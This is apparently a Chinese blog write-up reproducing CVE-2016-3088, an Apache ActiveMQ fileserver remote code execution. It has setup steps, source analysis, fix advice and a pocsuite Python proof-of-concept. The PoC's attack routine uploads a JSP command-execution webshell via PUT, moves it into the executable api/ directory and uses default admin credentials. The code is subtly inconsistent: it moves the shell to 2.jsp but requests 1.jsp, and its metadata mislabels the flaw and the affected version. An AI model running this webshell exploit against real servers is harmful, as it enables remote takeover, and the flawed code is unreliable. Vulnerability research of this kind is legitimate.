ActiveMQ漏洞复现分析以及poc
2022-03-12 11:30:45

ActiveMQ漏洞复现分析以及POC(CVE-2016-3088)

漏洞前言

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

影响范围

影响版本:Apache ActiveMQ 5.0.0 – 5.13.2
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用
5.14.0版本以后,彻底删除fileserver

环境搭建

vulhub拉取漏洞环境docker启动

1
docker-compose up -d

登陆成功后界面。

1

漏洞分析

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下

2

用户可以上传文件到指定目录,该路径在conf/jetty.xml中定义。

3

顺着 PUT 方法追踪,可以看到调用了如下函数

4

同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。

5

由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

漏洞利用

  • 首先到http://ip:8161/admin/test/systemProperties.jsp拿到文件的绝对路径。其中会需要登陆输入默认的账号和密码(admin/admin)。

6

由此可以看到绝对路径为/opt/apache-activemq-5.11.1/webapps/

先put上传jsp的webshell的txt到fileserver目录;

7

8

发现可以上传却没有被解析。

下面上传jsp的webshell到可以解析的目录,可以解析jsp的目录有:

1./opt/activemq/webapps/api

2./opt/activemq/webapps/admin

可以用move的发送方式移动文件。

9

这里遇到了点问题,move后会爆400错误无法上传成功,查阅百度后发现是vulhub环境的问题。这一步无法复现成功。

后询问各个大佬发现有可能move不是很稳定的传输所以导致400错误无法上传成功。多抓几次就可以有可能就能成功了。

POC编写

根据漏洞的原理进行编写 验证模块PUT成功即可 攻击模块进行MOVE操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register

class ActiveMQPoc(POCBase):
vulID = '002'
version = '1.0'
author = ['ol4three']
vulDate = '2020-12-17'
updateDate = '2020-12-17'
references = ['https://paper.seebug.org/346/']
name = 'Apache ActiveMQ (CVE-2016-3088)'
appPowerLink = 'activemq.apache.org'
appName = 'Apache activemq'
appVersion = ' Apache ActiveMQ 5.14.0'
vulType = 'Arbitrary File Reading'
desc = '''
fileserverfileserverjsp\
MOVEMOVE
'''
pocDesc = '''
pocsuite -r ***.py -u target --verify"
'''
samples = []
install_requires = []

def _verify(self):
result = {}
path = "fileserver/1.txt"
path1 = "api/1.jsp?cmd=ls"
url = self.url + '/' + path
try:
resp = req.put(url)
resp1 = req.get(url)
if (resp.status_code == 204 and str(resp1.status_code)[0] in ('2', '3')):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url

except Exception as ex:
pass

return self.parse_output(result)

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output

def _attack(self):
result = {}
path = "fileserver/1.txt"
path1 = "api/1.jsp?cmd=id"
url = self.url + '/' + path
url1 = self.url + '/' + path1
data1 = '1'
data = '<%@ page import="java.io.*"%><%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}%>'

headers ={
'Destination' : 'file:///opt/activemq/webapps/api/1.jsp'
}
headers1={
'Authorization':'Basic YWRtaW46YWRtaW4=',
'Connection':'close'

}
proxies={
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
try:
resp = req.put(url,data=data)
resp1 = req.get(url)
resp2 = req.request('MOVE',url=url,headers={'Destination' : 'file:///opt/activemq/webapps/api/2.jsp'})
resp3 = req.get(url1,headers=headers1)
resp3 = resp3.text[12:50]
result['AdminInfo'] = {}
result['AdminInfo']['SHELL'] = url1
result['AdminInfo']['EXEC '] = resp3
except Exception as ex:
pass

return self.parse_output(result)

register(ActiveMQPoc)

修复方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本;

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能;

3

参考链接:

https://www.ol4three.com/2020/12/17/WEB/Exploit/ActiveMQ/ActiveMQ漏洞复现分析以及POC-CVE-2016-3088/